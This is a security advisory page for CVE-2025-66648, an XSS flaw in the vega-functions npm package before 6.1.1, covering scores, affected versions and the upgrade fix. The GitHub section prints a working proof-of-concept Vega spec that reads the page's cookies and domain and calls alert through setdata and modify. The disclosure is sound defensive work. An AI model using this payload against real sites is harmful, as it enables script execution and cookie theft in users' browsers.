7.2high
`vega-functions` vulnerable to Cross-site Scripting via `setdata` function
- Severity
- 7.2high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.22% (higher than 13% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-m9rg-mr6g-75gm
Description
vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| vega vega | < 6.1.1 | CVE List |
| vega-functions (npm) | before 6.1.1 | GitHub Advisory Database |
| vega-functions_project vega-functions | before 6.1.1 | NVD |
All scores
| GitHub_M | 7.2high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| GitHub | 7.2high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| NVD | 6.1medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
Classification
SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.
What each source says
CVE List
vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue.
GitHub Advisory Database
Impact
For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).
Patches
Fixed in vega-functions 6.1.1
Workarounds
There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.
Exploit Proof of Concept
Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:
{
"$schema": "https://vega.github.io/schema/vega/v6.json",
"data": [
{
"name": "table",
"values": [
{"category": "A", "amount": 28}
]
}
],
"signals": [
{
"name": "tooltip",
"value": {},
"on": [
{"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
{"events": "rect:pointerout", "update": "{}"}
]
}
]
}
NVD (es)
vega-functions proporciona implementaciones de funciones para el lenguaje de expresiones Vega. Antes de la versión 6.1.1, para sitios que permiten a los usuarios proporcionar entradas de usuario no confiables, el uso malicioso de una función interna (no parte de la API pública) podría utilizarse para ejecutar javascript no intencionado (XSS). Este problema se ha corregido en vega-functions '6.1.1'. No hay solución alternativa aparte de la actualización. El uso de 'vega.expressionInterpreter' como se describe en el modo seguro de CSP no evita este problema.
References
| https://github.com/vega/vega/security/advisories/GHSA-m9rg-mr6g-75gm | exploit, vendor-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2025-66648 | advisory | |
| https://github.com/vega/vega | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-66648 changed 2026-01-06 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-m9rg-mr6g-75gm changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2025-66648 changed 2026-10-14 | Public domain |